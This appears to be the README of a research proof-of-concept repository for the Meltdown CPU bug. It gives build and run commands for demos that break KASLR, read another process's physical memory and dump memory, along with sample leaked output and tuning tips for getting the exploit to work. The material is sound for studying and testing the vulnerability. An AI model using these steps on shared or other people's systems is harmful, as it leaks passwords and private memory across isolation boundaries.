
Meltdown Proof-of-Concept

This repository contains several applications, demonstrating the Meltdown bug. For technical information about the bug, refer to the paper:

- Meltdown by Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, and Hamburg

The applications in this repository are built with libkdump, a library we developed for the paper. This library simplifies exploitation of the bug by automatically adapting to certain properties of the environment.

Videos

This repository contains several videos demonstrating Meltdown

- Video #1 shows how Meltdown can be used to spy in realtime on a password input.
- Video #2 shows how Meltdown leaks physical memory content.
- Video #3 shows how Meltdown reconstructs a photo from memory.
- Video #4 shows how Meltdown reconstructs a photo from memory which is encoded with the FLIF file format.
- Video #5 shows how Meltdown leaks uncached memory.

Demos

This repository contains five demos to demonstrate different use cases. All demos are tested on Ubuntu 16.04 with an Intel Core i7-6700K, but they should work on any Linux system with any modern Intel CPU since 2010.

For best results, we recommend a fast CPU that supports Intel TSX (e.g. any Intel Core i7-5xxx, i7-6xxx, or i7-7xxx). Furthermore, every demo should be pinned to one CPU core, e.g. with taskset.

Build dependency for demos

As a pre-requisite, you need to install glibc-static on your machine.

For RPM-based systems:

```
1 sudo yum install -y glibc-static
```

Demo #1: A first test (test)

This is the most basic demo. It uses Meltdown to read accessible addresses from the own address space, not breaking any isolation mechanisms.

If this demo does not work for you, the remaining demos most likely won't work either. The reasons are manifold, e.g., the CPU could be too slow, not support out-of-order execution, the high-resolution timer is not precise enough (especially in VMs), the operating system does not support custom signal handlers, etc.

Build and Run

```
1 make
2 taskset 0x1 ./test
```

If you see an output similar to this

```
1 Expect: Welcome to the wonderful world of microarchitectural attacks
2 Got: Welcome to the wonderful world of microarchitectural attacks
```

then the basic demo works.

Demo #2: Breaking KASLR (kaslr)

Starting with Linux kernel 4.12, KASLR (Kernel Address Space Layout Randomization) is active by default. This means, that the location of the kernel (and also the direct physical map which maps the entire physical memory) changes with each reboot.

This demo uses Meltdown to leak the (secret) randomization of the direct physical map. This demo requires root privileges to speed up the process. The paper describes a variant which does not require root privileges.

Build and Run

```
1 make
2 sudo taskset 0x1 ./kaslr
```

After a few seconds, you should see something similar to this

```
1 [+] Direct physical map offset: 0xffff880000000000
```

Demo #3: Reliability test (reliability)

This demo tests how reliable physical memory can be read. For this demo, you either need the direct physical map offset (e.g. from demo #2) or you have to disable KASLR by specifying `nokaslr` in your

kernel command line.

Build and Run Build and start `reliability`. If you have KASLR enabled, the first parameter is the offset of the direct physical map. Otherwise, the program does not require a parameter.

```
1 make
2 sudo taskset 0x1 ./reliability 0xffff880000000000
```

After a few seconds, you should get an output similar to this:

```
1 [-] Success rate: 99.93% (read 1354 values)
```

Demo #4: Read physical memory (`physical_reader`)

This demo reads memory from a different process by directly reading physical memory. For this demo, you either need the direct physical map offset (e.g. from demo #2) or you have to disable KASLR by specifying `nokaslr` in your kernel command line.

In principal, this program can read arbitrary physical addresses. However, as the physical memory contains a lot of non-human-readable data, we provide a test tool (`secret`), which puts a human-readable string into memory and directly provides the physical address of this string.

Build and Run For the demo, first run `secret` (as root) to get the physical address of a human-readable string:

```
1 make
2 sudo ./secret
```

It should output something like this:

```
1 [+] Secret: If you can read this, this is really bad
2 [+] Physical address of secret: 0x390fff400
3 [+] Exit with Ctrl+C if you are done reading the secret
```

While the `secret` program is running, start `physical_reader`. The first parameter is the physical address printed by `secret`. If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.

```
1 taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000
```

After a few seconds, you should get an output similar to this:

```
1 [+] Physical address      : 0x390fff400
```

```
2 [+] Physical offset      : 0xffff880000000000
3 [+] Reading virtual address: 0xffff880390fff400
4
5 If you can read this, this is really bad
```

Demo #5: Dump the memory (memdump)

This demo dumps the content of the memory. As demo #3 and #4, it uses the direct physical map, to dump the contents of the physical memory in a hexdump-like format.

Again, as the physical memory contains a lot of non-human-readable content, we provide a test tool to fill large amounts of the physical memory with human-readable strings.

Build and Run For the demo, first run `memory_filler` to fill the memory with human-readable strings. The first argument is the amount of memory (in gigabytes) to fill.

```
1 make
2 ./memory_filler 9
```

Then, run the `memdump` tool to dump memory contents. If you executed `memory_filler` before, you should see some string fragments. If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.

The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). The second parameter is the amount of bytes you want to be read, to read it all give -1. If you do not have KASLR disabled, the third parameter is the offset of the direct physical map.

```
1 taskset 0x1 ./memdump 0x2400000000 -1 0xffff880000000000 # start at 9 GB
```

You should get a hexdump of parts of the memory (potentially even containing secrets such as passwords, see example in the paper), e.g.:

```
1 240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m
           | ..... |
2 24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
           | .}..... |
3 24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 |
           | .....en u |
4 24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser
           | space and ke |
5 24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 |
           | rnelWelcome to t |
6 24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary
           | between use |
```

```

7  24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space
      and kern |
8  2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn
      after rea |
9  2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding
      this string |
10 240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 |
      ..... |
11 2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just
      spied on a. |
12 240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 |
      ..... |
13 24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e |
      .....ets. |
14 24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..
      Welcome to the |
15 2400042ff: | 00 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c |
      .....ngratul |
16 24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations,
      you just |
17 24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 | spied
      on an app |

```

Frequently Asked Questions

- **Does it work on Windows / Ubuntu on Windows (WSL) / Mac OS?**

No. This PoC only works on Linux, as it uses properties specific to the Linux kernel, such as the direct physical map.

- **Can I run the PoC in a virtual machine?**

Yes, the PoC also works on virtual machines. However, due to the additional layer introduced by a virtual machine, it might not work as good as on native hardware.

- **The KASLR program (`kaslr`) does not find the offset!**

The `kaslr` tool only does very few measurements to be fast. If it does not find the offset, there are two possibilities:

- change the number of retries in `kaslr.c: config.retries = 1000;`
- use the kernel module in `kaslr_offset` to directly read the offset from the kernel. Install the kernel headers for your kernel (`sudo apt-get install linux-headers-`uname -r``) and run `sudo ./direct_physical_map.sh`

- **You said it works on uncached memory, but all your demos ensure that the memory is cached!**

Making it work on uncached memory is trickier, and often requires a bit of tweaking of the parameters. Thus, we ensure that the memory is cached in the PoC to make it easier to reproduce. However, you can simply remove the code that caches the values and replace it by a `clflush` to test the exploit on uncached memory (see Video #5 for an example). Although not in the original blog post by Google, this was also confirmed by independent researchers (e.g. Alex Ionescu, Raphael Carvalho, Pavel Boldin).

- **It just does not work on my computer, what can I do?**

There can be a lot of different reasons for that. We collected a few things you can try:

- Ensure that your CPU frequency is at the maximum, and frequency scaling is disabled.
- If you run it on a mobile device (e.g., a laptop), ensure that it is plugged in to get the best performance.
- Try to pin the tools to a specific CPU core (e.g. with `taskset`). Also try different cores and core combinations.
- Vary the load on your computer. On some machines it works better if the load is higher, on others it works better if the load is lower.
- Try to disable hyperthreading in the BIOS. On some computers it works a lot better if hyperthreading is disabled.
- Use a different variant of Meltdown. This can be changed in `libkdump/libkdump.c` in the line `#define MELTDOWN meltdown_nonull`. Try for example `meltdown` instead of `meltdown_nonull`, which works a lot better on some machines (but not at all on others).
- Try to create many interrupts, e.g. by running the tool `stress` with `stress -i 2` (or other values for the `i` parameter, depending on the number of cores).
- Try to restart the demos and also your computer. Especially after a standby, the timing are broken on some computers.
- Play around with the parameters of `libkdump`, e.g. increase the number of retries and/or measurements.

Warnings

Warning #1: We are providing this code as-is. You are responsible for protecting yourself, your property and data, and others from any risks caused by this code. This code may cause unexpected and undesirable behavior to occur on your machine. This code may not detect the vulnerability on your machine.

Warning #2: If you find that a computer is susceptible to the Meltdown bug, you may want to avoid using it as a multi-user system. Meltdown breaches the CPU's memory protection. On a machine that

is susceptible to the Meltdown bug, one process can read all pages used by other processes or by the kernel.

Warning #3: This code is only for testing purposes. Do not run it on any productive systems. Do not run it on any system that might be used by another person or entity.